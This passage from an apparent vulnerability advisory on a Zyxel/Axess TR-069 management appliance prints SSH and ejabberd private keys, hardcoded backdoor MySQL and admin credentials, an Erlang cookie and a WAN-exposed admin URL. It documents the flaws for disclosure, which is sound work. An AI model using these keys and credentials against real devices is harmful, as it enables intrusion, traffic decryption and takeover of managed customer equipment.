-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3+4JXEBUNFcdux2oS7s2okKtk2UARJurWGs/nYVs+8vFRBVU
2lQqTTZkRTAAOPsDByo77BELr/DcYqtMPXBh3FLftrt5Su9pI04caPbL8BoeoOfq
LUY4nvZfTq/qmClxtp/Azg4Z495vTbMT34llTKcyGIyN7AglESiQ2iKU9BvRAwuN
xxIDBBmGGNSkyWC+T1ZiiuK8cfN5MgVpDyO6HcgJuaKgH8jjcbCUUizmUKJ7495i
itXll2uD6/WNHl8gikRNQBg+3Qpb+BEeTkWzaC+XgLADz+w5GQxreXW4T2yh5vtU
ph9ZT4j8EdEVig72rw6KlGguu6R97UylPHrFMwIDAQABAoIBAADyS53VM8Xo3FpP
HMf9KZTz/THTSnX/xnCgO2uaBcTmrpXEFVC67FbZNQFJ26ZiAThFiG1OASOkO/o6
yR61W+SHgSSPlEqpymL40IvtBx2jrp91e3rnghPB7NMzUSWFf1KLSFBWpOtepE/K
wvm95ey2BDMwXOUzf5yb9EjHvqNtfKVgAqBIM3wdGQ5cN3odYC9hBPVh9SM11IQM
P0fkOPqgMgQWoX7qOGhfx0lGBidq4XATkBikF8saY19Qc9td379UXyXT2rzHV1zq
epD9jbzu41DJ6btZReGU+ZzeFl8JFhxjlKaIObglrRxlKuYA1IE0+B5DgL1CBKcD
ahQVELECgYEA9WW7jDkgy1MTtO9tBM1yuxW7LBwvUkWJQ334IbTcmr2fmBMOZZYl
4gpxblWDCGJ8tkO1AvLopxputuFE1kBHgeXip0UlhYopK5lybXnMyVgHEipNzhsw
0qvgCzk+Cc8FUDsHtm1BJkuZREce50mcbEnTLmtbaod8MNT3AfnGHCsCgYEA6Zrb
jq9faU6FMrPH5BFSeNLVH+FgrmiEVxY8G8mjqThBumY2WIgM/Sg612IJllwYCvq7
PEkyKCBmpKcKM8zICLxM4AUctuPnhwFsVsAHfXu1sRK059US/EdqHdrVf0Eiyzmj
LV3zOSPq28TkvVfNkNSe3y4FXsOhc+G+6QoyjxkCgYEAr4MAfY0KeIHFsX4g0fOD
IG2tfiH2cnhLcVsyUiFCOuZus9zFSkD2fVIMyOYeHqwaGF4ao65KWeHc164MhtRY
kH5z+kDJUlZ7lbRdFBGuNz9fZ02cclIePD8zsbNSPL+1RCnEHWTM2O/vAdeAMdoD
J6wxf5zHOE0ItQBMXjxfxhsCgYAWd4VMOMOlXh7jXHUKEzxqUGSc91EUFQs9UO8h
AQiTesyff7sUUqllI5xdIJmpc1wAmlKtnqCLSWp1xXbuunA2nt2J4hP75vlae6GO
ylMuF1rHF/R8I3r69mdXTbeg0IPnJbjy4QlGYpTw5APXzf0AQ+Kvtj5f+dKqUXjJ
8ugf6QKBgDXRRHhFlFlJcDmMV+USaPfF5dcOpEX1PTxeHIPaFjUGBuq4kcT3NUPa
QJLAS+rg1PMrX6ggStNOSMG2kh7kne2Y38oE0zg9mKnRpP56e9DX/cWF/r1pMSvE
ceH7BAFV9daHQUoz4ljrsJQnvgVT4DTANpw8zB/7bTwBnD519AZB
-----END RSA PRIVATE KEY-----
root@chopin:/etc/ssh#
</code></pre>
<p>Same problem inside the "Axess" chroot:</p>
<pre><code>root@chopin:/opt/axess/etc/ssh# ls -la
total 176
drwxr-xr-x  2 root root   4096 Mar  6  2018 .
drwxr-xr-x 81 root root   4096 Mar  6  2018 ..
-rw-r--r--  1 root root 136156 Mar  6  2018 moduli
-rw-r--r--  1 root root   1669 Mar  6  2018 ssh_config
-rw-r--r--  1 root root   2489 Mar  6  2018 sshd_config
-rw-r--r--  1 root root    668 Mar  6  2018 ssh_host_dsa_key
-rw-r--r--  1 root root    601 Mar  6  2018 ssh_host_dsa_key.pub
-rw-r--r--  1 root root    227 Mar  6  2018 ssh_host_ecdsa_key
-rw-r--r--  1 root root    173 Mar  6  2018 ssh_host_ecdsa_key.pub
-rw-r--r--  1 root root   1679 Mar  6  2018 ssh_host_rsa_key
-rw-r--r--  1 root root    393 Mar  6  2018 ssh_host_rsa_key.pub
root@chopin:/opt/axess/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 49:73:d6:b0:8e:c0:de:d5:a4:5d:32:0a:2d:83:d9:2f  root@chopin (DSA)
256 53:fa:90:76:ed:9d:bc:28:8c:f4:4c:5e:88:29:f6:85  root@chopin (ECDSA)
2048 a2:59:77:cf:8c:0b:55:c3:53:a6:3a:fd:ac:d7:70:35  root@chopin (RSA)
root@chopin:/opt/axess/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQDLSttOJ+6RcDH+Lavzzo3+vXNeQiWCyE5XsaxUc++QugyxILRA
kWskEqtq+E1ZkX5H52lzguxsVVzWSvdII8yDJoHO26X51o/hLeT20LPokOWQgnoT
eziWd3wEYBYIyko6cBNnQICKFY4JUgo5xVfV4kVFjdqKYM6p5BFyBHSddQIVAOw/
SpLXgrkXAcQ7nUXdhQcAjbT/AoGAMuwFJlCkAV9GSRfElQZkljMG7/P2svnoN9H1
XgZ6mCuIQ/8HNcTgkXAuDZ64RL/QGK+ClhGd0xFrsw9+gWtL1L0ZuwoGcNj2iaZO
h49SoS6IJ+sFb6cHApXrgBgZv0O4FbpL8o5Tl6U2L0i3mlCXMGUSFAzpFTjwxcYG
fDnzrKoCgYBNcFwsJtr5ElvfUHwKoyXZ0xT3PswzL4VCSD9SAASI8VhT2LdYTk7Z
/0q4E9rUPZP4BNehb9juxGNqjW0wcXNnr0VDuN0vz2Vv+nKG6u8KIc1RbKs8J9H5
zzHRidPZLVdU0vVRrM/1kVvIFlZpnl9Ybuz2Ra5ZHPFhJ4SoqbHFRgIUBX+oAX4Z
ffkRUot9igOsNx6txoU=
-----END DSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIGYB3fxcDt1ket4FRhbFKtqHcQ4K8HPnkAgmvP6hj8InoAoGCCqGSM49
AwEHoUQDQgAE116tsZ+HvPjDY4VvgN76fP/XF6DMUd75vY5DqVR2Av68KSUh5Ns9
yhOyfcNB89XBABE2VpM4h0yljhqwFASQCQ==
-----END EC PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyaNk4eTtEKfkcpTQaxB/LL2A/XQhljt1UF22yJUYXh0VJCCJ
SNn36QbNOeI9qsaohlFobaM1ithKyp6rQbZzzw/Jg7W76hA1NLSqbNS7mgg6bD1X
5/M81OJjjQ9iXUXx7/XrT/Of34QMvOjfKsOmtMsUYbk9Qf9G0so58yYGlNMSKNZb
6O4flsztM1LIPYXLZV4uQrV9BjUhSpumvYGc93fw88V5fYEYfGcF0pUVEfBvgGvZ
50558GR+A1LF6IdVbmViAZ6HgxiMaM85F2h7QBbt3SrNOfTO481EBD4j7ipnBpJM
KuRPQQH7KxKEzi8VaE4qVU0eZcIGeMeRr0prnwIDAQABAoIBAAohsKb9FsBYf00W
lyZaDNnVp86UcD+ZOzrPiqinfTL1aSOIkv1bHm7SDavT519WXg9ptcKUidMxLQjj
Uh2aKlWEKI76qbeIGvRMA6g2RDroIO9hYbJg8XSM742d8UZYhmCVTb6VsjnL68vu
M5B1hkHdVmfWo/JV/lwHF0RVa808eulp96xjvHEoHziVFKCXEsS1UDl6h2/+oI1n
5oIPGn7JTU1zGkpf53oDZla0GiO76JtYadGn4NU7g6Y1O3xweqgzKDJlIJhC5rL7
8Rn9Tef1YmjCL+Nhz6fMqkeFMWkaY8HvONyVsulv4qJoCKYKdXzp/vdf+rkKApuq
mTNxSkkCgYEA95y6gCSo1d/plJijGJdD1NT/BS/yMbq78VaIwx/8hHEkKXVedfdk
hEvh8eBxjnkogR3fgPEQSfyu2N4CEYVTdJS72+4hgNRgMDW8ToawqkHnuBfH2+Wp
kFqiw9rPsE5I/MsngSXOVBPipQWk+5HKNlN8AcD7stefuHjmTPrAJfUCgYEA0Hf7
vqn2ZO6Vk3oW6NB+fshWsSK4BzskkB21I/zcMzLFla5qJMKAQQNwmtFgLPl8kvEz
ZkAK1yneKDz1JmF+vC594WDkk9RO3oB0KcYYJSplccaVgGfUiAfvpRMBYwrx6CWS
2GgBkxIpg9XE/XPQlDAl5P5wMqXJtS/AjMSEOsMCgYEAtf0Tdit7i/ZOj1DATsqe
qEcESKO8tqAwkmivi/pudklR8sa47qstza6YGlaEH9sc0glKxFJpTnfRasOBca80
b3MBv9t99FojeEuGY5DLN9fIn52a3xwlTFvRVXH1Q/fF3UbTejB3PYSACBnl8KBu
pw8lDYTxebjRQ5xYaCvEHiECgYEAmInSyRZwVjZFeF3zeXNlu7s3w/FVmuTpwhIa
wzR4o3XZIcc3n6I6Wlf8AyyFJSOAxbx8Eat2wy29gs/nyae5JlUWgt11I75L3386
gH6UmE1HYVMffY978fVsousfLquJioZDxtmDnWvCuNaoh5RA4M3CTKbozgaFa3B/
ggEhiCUCgYEAhcuDPqDYZpDW5pvgLSfb8WmfxMKZqMffrIdjBhMjWSqlY5+M8EHC
7ufXlwa2v2bNmBZCtHYWSAM06lBhEwxW/cDo29V9ncA0kCiwYVKYuof27ziExp1A
530+t7PjU4CKCaNzVcuW9ivQ0HkBnMNAqHGR0lOSBk4Qfizfz2wzLD8=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh#
</code></pre>
<p>It should be noted the private keys are using wrong permissions and are world-readable (644).</p>
<p>Same problem again in the "mysql" chroot:</p>
<pre><code>root@chopin:/opt/mysql/etc/ssh# ls -la
total 156
drwxr-xr-x  2 root root   4096 Mar 18  2015 .
drwxr-xr-x 66 root root   4096 Mar  6  2018 ..
-rw-r--r--  1 root root 125749 Apr  3  2014 moduli
-rw-r--r--  1 root root   1669 Apr  3  2014 ssh_config
-rw-r--r--  1 root root   2453 Mar 18  2015 sshd_config
-rw-------  1 root root    668 Mar 18  2015 ssh_host_dsa_key
-rw-r--r--  1 root root    601 Mar 18  2015 ssh_host_dsa_key.pub
-rw-------  1 root root   1679 Mar 18  2015 ssh_host_rsa_key
-rw-r--r--  1 root root    393 Mar 18  2015 ssh_host_rsa_key.pub
root@chopin:/opt/mysql/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 3e:46:e9:be:c0:8c:ba:dc:46:3a:3f:22:4f:77:0b:ae  root@chopin (DSA)
2048 da:b5:27:e4:80:da:4e:18:cf:b9:52:49:2c:72:e2:ce  root@chopin (RSA)
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDWqnzU+ljijXqKw5vEG+p6euc73+CrIDP+JAqvD6udBLe8ojDi
8l3N8l4BxXKcTwGAEeHQMMtPthNvPrO4IMVdf9Z/3mhRhX9x7NB/Fm7JrCjDwY4c
x8R+inJk9y86ow7fUodKfN9nt5Zh6FsfPs/0vq4Mg2MLjUkiau3UQy7mhQIVAOCr
fau8ONhgh8vCPvw8mIVIJnmbAoGAEqWt4/b1D7Fevf3b2afmMt02zUDNIvlxJjhL
EcG4Q6FxT0WwKIdBGDeOaB7gGR7acWvfr5yrMhQLgvAWMhdlkG0UY4Q/2Kh0PR1p
D4ZMssaxHnt/EprT+GxZfy4e9MhK3RwdeYCSwfvbcIKznFbHv+AUDZ6j/KRpU1e/
Pi//Yl8CgYBCt5jPU0bIymiXaX3FnDNBoydI9lmU0z8qVDDp49vZdOJnemtzU7d5
4k8UGOoBSZ12PC+W0ZNJNH5jWA2DV5+Pajq+UsYW6JHog8PMHmdLDo6+yF96avsE
8bGrSWqSV0NZ8g7NVRasuajJVZHoe1gpENTvd+LxbKHiv7f4bvqGQwIVAMS7rCpe
UyV29YpCEwVrL5CXEAeW
-----END DSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvnS8NXGuXVlFTmotghmZgNE3weboUbqiUjznYqZlaIbvhvS5
GYlVZMYgtEj4y2+perz9wuvdv8/M+it3cc4XfQdpASY1niL/P5M304tD+9ah/z3A
VD1OxDRevC7LQlkXOFJrlQ5RRTR1cmChsLWi9zEFbDSzJy9anZk+U/uQSQZsy71O
0ZntWSkjnH79+OA6GqKJ5S9PNhqaFWmB76kBbf21iWki2acIErhGg9ThnmR0vFRy
/QqeH8P83RDXYzd0nkLgxjL3GNI+Y/Dw+h6ks0zNoGIGfE1QsFc3gtkv8B28uomV
fTo5xLS+/UKKmZnCq0UPC3cElskhAtYMYfZgkQIDAQABAoIBADnl3O1WUM55+/K5
nnoFdD/P2mZs3sUxunTLpP+9W+ip1JkvPjIAKOCIxppn8JJPsLLqTy55a6EK9+I5
YodLQqK0pPw/dF9NflECXR9HH/SoK/ke+Z/iP1awIPiONSZHVSK/E4ttndEvAGEz
9RN2NEN3OJHLd4b7A04Trvny6Mr5zYe6bXgLK7DZRzE+dAUVIP4XVltdFh26KlhG
UvO2ihU+Tuz9AxhP3+UIgndMMsFhxk52ItBobCSts5WzPrzZs+QWXmoS6gcWnYU7
3LohV9Kn8lpDiu/lB7dQz/awyWaEKOf1U+p473qmH53+HahT50Apj27djtF4lvEx
Lfv8ct0CgYEA6wMyHEzVh0OLJNJ2J3RgebsfukTigM8QQqMKWqUep55/66W/85QL
mejFd2ipOJZF/VV/fqw+ocK8Z9ztlW2S0O3JRC29Gs7icwvUnErr0g7k5Xs3m61N
pteRH1ATxW+bX12I9BWpQv6jMZcR1xXNz4yn0XSumZz/vZ7ABxntR6sCgYEAz3bm
FECHPRtzg68/eHPbZ+A+3sD7vuH7AuD1X6yWozWgdE7aGf0wG+CFerNQBgqkv1R6
JMOT/lqQg/T8j/EWuGfIQcHHso2/ePSPl08YsAaXdmy2f+OSNC4CqdCeBLRgFvjt
gxhge8iunu/tWUsB9iAiBPS2bsQVX+ymDE7TzLMCgYEAi39BHmVJFdo03K2EbtT4
cylsos9Ct3yxRSyr97QtZweBHOos7zOAU2JE3CUm1Sz17HL0k8dAAhqqZOhRqjH5
RMTwg+S2bBRDfFCYahFauzwWCFVEY8bR4efw/2oz4izmSAwoP+Ifr2Ggks3+S/Jo
UPtHnd+pyArWDsMNbumn27MCgYApOpe+rpQxsKLkKI+UgHG50varje55oK8hg1NA
ECxfgujANGtjfs1wvM3J9JiSmsriuwcLB1MB2T2e+7C1alP5kaZaawgkk8bZYsCm
cTGWybiP8ErUX4VOmVYuKSc+CBqQdie9Rbrm3prVOxkQBbf+EaSxF3Cp0o3s4jqd
d4zfwQKBgQDeZmWqkMX/vmwV4GzgV2FRNcVry5nNWlt6wroF7DEuA7WGAZVRSBx0
nPzDkq3jorJEzXBmIwMNy3IN5NIdin/GSxbMMwx7JvKaPVKw5GubmICO/T9hVurJ
2RnfOAuZaMQ1bZSD49jEV30cxBM/gPORyyAHGrlyG2kHoXan5aDcHQ==
-----END RSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh#
</code></pre>
<p>Hopefully, the root account has been disabled in the /etc/shadow file
(<code>1234</code> is the password if the account is re-enabled).</p>
<p>The management access using the <code>secu_manager</code> user is still vulnerable to MITM/decryption.</p>
<p><a id="mysql-backdoor-accounts"></a></p>
<h2>Details - Backdoors accounts in MySQL</h2>
<p>MySQL is pre-configured with several static accounts. It only listens to the loopback interface.</p>
<p>Credentials:</p>
<ul>
<li>root / axiros</li>
<li>root / axiros from 61.222.86.79 / zyadb79.zyxel.com.tw (HINET-NET, Taiwan)</li>
<li>root / axiros from 118.163.48.108 / 118-163-48-108.HINET-IP.hinet.net (HINET-NET, Taiwan)</li>
<li>root / axiros from localhost</li>
<li>root / axiros from chopin (127.0.0.1)</li>
<li>livedbuser / axzyxel</li>
<li>zyxel / ?? (hash: B149E2C1869FF94FD5ED8F2C882486599B4CF8E4)</li>
</ul>
<p>The access have been extracted from the previous mysql history file and several configuration files:</p>
<pre><code>GRANT ALL PRIVILEGES ON *.* TO 'root'@'61.222.86.79' IDENTIFIED BY 'axiros';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'118.163.48.108' IDENTIFIED BY 'axiros';
INSERT INTO `user` VALUES ('localhost','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('chopin','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('127.0.0.1','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('localhost','debian-sys-maint','*D000798D1C7EC350F7AA4E44B2D68A0770B85194',[...]
('127.0.0.1','livedbuser','*42D02F8D1F74B2F0252592EFFCE69BEEE35FA06B',[...]
('127.0.0.1','zyxel','*B149E2C1869FF94FD5ED8F2C882486599B4CF8E4',[...]
('118.163.48.108','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('61.222.86.79','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
('%','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]
</code></pre>
<p>These passwords are <strong>hardcoded</strong> by the vendor and used everywhere:</p>
<p>From collectd:</p>
<pre><code>&lt;Plugin mysql&gt;
    &lt;Database live&gt;
        Host "127.0.0.1"
        User "livedbuser"
        Password "axzyxel"
        Port 3306
        Database "live"
    &lt;/Database&gt;
&lt;/Plugin&gt;
</code></pre>
<p>From Axess TR-069 solutions:</p>
<pre><code>root@chopin:/opt# cat /opt/axess/etc/axess/TR69/Managers/_live/asynch/mysqlCPEStorage/db.txt
[...]
server=127.0.0.1
port=3306
tablename=CPEManager_CPEs
[...]
user=livedbuser
password=axzyxel
[...]

root@chopin:/opt/axess/opt/axess/zyxel# cat zodb_checkout.sh | grep root
mysqldump -h 127.0.0.1 -u root -paxiros live ScenarioObjects &gt; /opt/axess/zyxel/zyxel_customizations/dbdumps/policies_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live axalarm_handlers &gt; /opt/axess/zyxel/zyxel_customizations/dbdumps/alarms_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live AXServiceDefinitionTable &gt; /opt/axess/zyxel/zyxel_customizations/dbdumps/services_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros --no-data live CPEManager_CPEs &gt; /opt/axess/zyxel/zyxel_customizations/dbdumps/cpes_table.sql
</code></pre>
<p>And from various places inside Python code:</p>
<pre><code>/opt/axess/opt/axess/Extensions/recreate_all_realm.pyc
db = MySQLdb.connect(host='127.0.0.1', user='root', passwd='axiros', db=cnmid)
</code></pre>
<p>Also the system account <code>debian-sys-maint</code> is using a non-editable hardcoded password <code>wbboEZ4BN3ssxAfM</code>:</p>
<pre><code>root@chopin:/opt/mysql/etc/mysql# cat debian.cnf 
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host     = localhost
user     = debian-sys-maint
password = wbboEZ4BN3ssxAfM
[...]
host     = localhost
user     = debian-sys-maint
password = wbboEZ4BN3ssxAfM
[...]
</code></pre>
<p><a id="ejabberd-backdoors"></a></p>
<h2>Details - Hardcoded certificate and backdoor access in Ejabberd</h2>
<p>Ejabberd is used to manage all the CPEs connected through TR-069.</p>
<p>The Ejabberd process uses an hardcoded certificate along with a private key:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>root@<span style="color: #0000FF; font-weight: bold">chopin</span>:<span style="color: #666666">/</span>opt<span style="color: #666666">/</span>production_xmpp<span style="color: #666666">/</span>etc<span style="color: #666666">/</span>ejabberd<span style="border: 1px solid #FF0000">#</span> cat ejabberd.cfg
[...]
  {<span style="color: #666666">5222</span>, ejabberd_c2s, [
                        {access, c2s},
                        {shaper, c2s_shaper},
                        {max_stanza_size, <span style="color: #666666">65536</span>},
                        <span style="color: #408080; font-style: italic">%%zlib,</span>
                        starttls, {certfile, <span style="color: #BA2121">&quot;/etc/ejabberd/ejabberd.pem&quot;</span>}
                       ]},
[...]
</pre></div>

<p>Content of <code>ejabberd.pem</code>:</p>
<pre><code>root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.pem 
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQDppPTghA6irhkzfDA1PyDV/cJzjN946mUV2uq4PiI3Uk5gaIZZ
15CV1rPKKxH1UguIfNHTFfyHC0Td478IprCYuiWE6Yw/5/NTc0pHkW3MeYllc711
R6ZtKTYbn3n5HbmHJzluuBm8qWdgyO2HAG0l1uf5P29Nerra0LMj8MKULwIDAQAB
AoGBAJfMH3ja83NIL4FetydxC1FcnABczzgM+X34jDUF0U8l/1vtrRQj1IE1S/wW
fYVoN6wGhIBjMX0/mg+bjxr8yZBCp96XZCu/POqNqOHPvvFrFryGSzqh/LkG0+tG
ojXjIpYd+Y6eTz2Fj2DPRyczaGJod1SxUz41v92GiyWGTFnhAkEA/Z8Dhxhu8ZNK
nBl+lkE6X0tCZ0kn1Hkq8zIKWVvSsu859u7t7+5/LoBRYkqx0FwoPl2+uBY6BtQV
0AQT/S5d3wJBAOvV+ad1JnGO6gMEnAdtwv0fvBlUB1arisI+CbgUOf9PgPITwEFQ
CvQWktVB8NjjxdaTtYskYvK4NU4SIKCH87ECQQDRcEcRgPPdOq0aS1Nl8Weq2hN0
B82EgKsfOeuh71oHudY8PQLwaBtO41hRuy0ry27QUcn1ayVwDiQVK8j2AxwxAkEA
1oLTyYCijiobKtGXhp5M/OZPto4a+refyBybxIcJVfQf6pESj5XZ0Llzp2yKQQ21
Fv9V4xEeu33YZoHQkZP3kQJBALJPeT67cR8H7k4FdGXFh6vJdNILZ/91ac9cFZf3
ZjabcZWnSgn1QD9ARV/Cd2dsX3xGY4vuoM4hvwjHKAMWHhg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDEDCCAnmgAwIBAgIJAPvsRdD6v5ITMA0GCSqGSIb3DQEBBQUAMGQxFTATBgNV
BAoTDHp5eGVsLmNvbS50dzEPMA0GA1UECxMGY2hvcGluMREwDwYDVQQDEwhlamFi
YmVyZDEnMCUGCSqGSIb3DQEJARYYcm9vdEBjaG9waW4uenl4ZWwuY29tLnR3MB4X
DTE1MDQxMzE2MzIxNFoXDTE2MDQxMjE2MzIxNFowZDEVMBMGA1UEChMMenl4ZWwu
Y29tLnR3MQ8wDQYDVQQLEwZjaG9waW4xETAPBgNVBAMTCGVqYWJiZXJkMScwJQYJ
KoZIhvcNAQkBFhhyb290QGNob3Bpbi56eXhlbC5jb20udHcwgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAOmk9OCEDqKuGTN8MDU/INX9wnOM33jqZRXa6rg+IjdS
TmBohlnXkJXWs8orEfVSC4h80dMV/IcLRN3jvwimsJi6JYTpjD/n81NzSkeRbcx5
iWVzvXVHpm0pNhufefkduYcnOW64GbypZ2DI7YcAbSXW5/k/b016utrQsyPwwpQv
AgMBAAGjgckwgcYwHQYDVR0OBBYEFE1fcSfVUJtFKuVzIr7Ps8lasbKYMIGWBgNV
HSMEgY4wgYuAFE1fcSfVUJtFKuVzIr7Ps8lasbKYoWikZjBkMRUwEwYDVQQKEwx6
eXhlbC5jb20udHcxDzANBgNVBAsTBmNob3BpbjERMA8GA1UEAxMIZWphYmJlcmQx
JzAlBgkqhkiG9w0BCQEWGHJvb3RAY2hvcGluLnp5eGVsLmNvbS50d4IJAPvsRdD6
v5ITMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAECFhOm4y+Ad31tXd
Nfl2XyU5g6arxLMlrH2sSUcne2EkRNUZsKoEM0MkLUir7oBDqf+gd9dC92zF7qrr
iaeOrMVtFpNu3lBx/YSubhENDyegalWT8zi4TYdxz2ehExGpl0SRjhtrdqs99R+2
gm711P4aV1TQaC+WMpkIP6eyIMM=
-----END CERTIFICATE-----
</code></pre>
<p>Also, the management webservice is reachable on the WAN interface on port 5280/tcp.
It allows to list accounts (linked to CPEs) and remove them.
The authentication is using hardcoded credentials:</p>
<pre><code>http://[ip]:5280/admin/
</code></pre>
<p>An attacker can visit the administration, manage all the CPEs using the default
credentials (<code>a1@chopin</code> / <code>cloud1234</code>) and create some havoc:</p>
<pre><code>http://[ip]:5280/admin/vhosts/
</code></pre>
<p>These credentials are hardcoded inside <code>/opt/axess/opt/axXMPPHandler/config/xmpp_config.py</code>:</p>
<pre><code>XMPP_PORT = 5222
XMPP_SERVER = "127.0.0.1"
XMPP_JID = "a1@chopin"
XMPP_PASS = "cloud1234"
</code></pre>
<p>Also, the permissions of this file are wrong and this file is world-readable</p>
<pre><code>root@chopin:~/pre-auth-rce-4# ls -la /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
-rw-r--r-- 1 root root 1738 Mar  6  2018 /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
</code></pre>
<p>Also, the shared secret for ejabberd replication, called the Erlang cookie, is hardcoded:</p>
<pre><code>root@chopin:/opt/production_xmpp/var/lib/ejabberd# hexdump -C .erlang.cookie
00000000  42 41 4b 56 41 55 48 4d  51 52 49 53 49 4a 59 55  |BAKVAUHMQRISIJYU|
00000010  45 56 4d 4b                                       |EVMK|
00000014
</code></pre>
<p><a id="open-zodb"></a></p>
<h2>Details - Open ZODB storage without authentication</h2>
<p>ZODB is a native object database for Python.</p>
<p>By default, a python process managing the 'Zope Object Database' runs on the appliance and
is reachable over the network on port 8100/tcp without authentication:</p>
<pre><code>/usr/bin/python2.7 /opt/axess/eggs/ZODB3-3.10.5-py2.7-linux-x86_64.egg/ZEO/runzeo.py -C /opt/axess/parts/zeo/etc/zeo.conf
</code></pre>
<p>Configuration:</p>
<pre><code>root@chopin:/opt/axess/opt/axess/parts/zeo/etc# cat zeo.conf 
[...]
  address 8100
  read-only false
[...]
  path /opt/axess/var/filestorage/Data.fs
  blob-dir /opt/axess/var/blobstorage
[...]
</code></pre>
<p>Futhermore, by default, the logfile contains multiple (=~ 100) entries from 2016 about 'insecure mode setting':</p>
<pre><code>2016-02-29T13:45:04 (17833) Blob dir /opt/axess/var/blobstorage/ has insecure mode setting
</code></pre>
<p>The blob directory has wrong permissions and is world-readable:</p>
<pre><code>root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -latr
total 16
drwxr-xr-x 2 210 210 4096 Feb 29  2016 tmp
-rw-r--r-- 1 210 210    0 Jul 12  2016 .removed
-rwxr-xr-x 1 210 210    5 Mar  6  2018 .layout
drwxr-xr-x 3 210 210 4096 Mar  6  2018 .
drwxr-xr-t 6 210 210 4096 Dec 20  2019 ..
root@chopin:/opt/axess/opt/axess/var/blobstorage#
</code></pre>
<p>The <code>Data.fs</code> file has also wrong permissions and is world-readable:</p>
<pre><code>root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -la /opt/axess/opt/axess/var/filestorage/Data.fs
-rw-r--r-- 1 210 210 31398638 Mar  6  2018 /opt/axess/opt/axess/var/filestorage/Data.fs
</code></pre>
<p>This file contains <strong>cookies, password, hashes, access controls parameters, python code, serialized python variables and logs from TR-069</strong>:</p>
<pre><code>U&lt;$2a$04$8B2Na1n.pzBrMw.8CTSBG.zDzWXnJug.qyvRnN/AxYhVFqkhFcmZ2q

U*{SSHA}q3rGsS15vOGeM6Dv0xuwlF0uq91oIHoz0mD8q

# {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'ATTRIBUTE': [{'_Activate': u'YES'}, {'_ACS_URL': u'http://192.168.50.2:7549/V6ABQNTPYG'}, {'_ACS_Username': u'Wd6XbWa04D7Y'}, {'_ACS_Password': u'6H0pyh1IlyW8'}, {'_Username': ''}, {'_Password': ''}, {'_Server_Type': u'TR069 ACS'}, {'_Periodic_Inform': u'ENABLE'}, {'_Periodic_Inform_Interval': u'900'}, {'_HTTPS_Authentication': u'YES'}, {'_Vantage_Certificate': u'axess_dummy.crt'}, {'_CNM_ID_Switch': u'NO'}, {'_Auto_get_ACS_Activate': u'NO'}, {'_CNM_ID': ''}, {'_XMPP_Activate': u'YES'}, {'_XMPP_Username': u'a2'}, {'_XMPP_Domain': u'chopin'}, {'_XMPP_Resource': u'EC43F6FCC646'}, {'_XMPP_Host': u'192.168.50.2'}]}}}}}, 'ScriptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime': u'2017-08-30T09:54:25', 'CompleteTime': u'2017-08-30T09:54:25'}

#subtree = {'CommandResponseList': {'CommandResponse': {'COMMAND': {'ERRNO': u'0', 'ERRMSG': u'OK', 'FORMAT': {'DATASET': {'DATASET': {'ATTRIBUTE': [{'DS_VALUE': u'P2P_201506181030'}, {'IKD_ID': u'3'}, {'negotiation_mode': u'main'}, {'SA_lifetime': u'86400'}, {'key_group': u'group2'}, {'NAT_traversal': u'yes'}, {'dead_peer_detection': u'yes'}, {'fall_back': u'deactivate'}, {'fall_back_check_interval': u'300'}, {'authentication_method': u'pre-share'}, {'pre_shared_key': u'87654321'}, {'certificate': u'default'}, {'user_ID': ''}, {'type': ''}, {'VPN_connection': u'P2P_201506181030'}, {'vcp_reference_count': u'0'}, {'IKE_version': u'IKEv1'}, {'active': u'yes'}], 'DATASET': [{'ATTRIBUTE': [{'DS_VALUE': u'1'}, {'encryption': u'3des'}, {'authentication': u'sha'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'192.168.50.3'}, {'type': u'ip'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'1'}, {'address': u'192.168.50.8'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'2'}, {'address': u'0.0.0.0'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'B0B2DC7189C4'}, {'type': u'fqdn'}]}, {'ATTRIBUTE': [{'DS_VALUE': u'201506181030'}, {'type': u'fqdn'}]}, 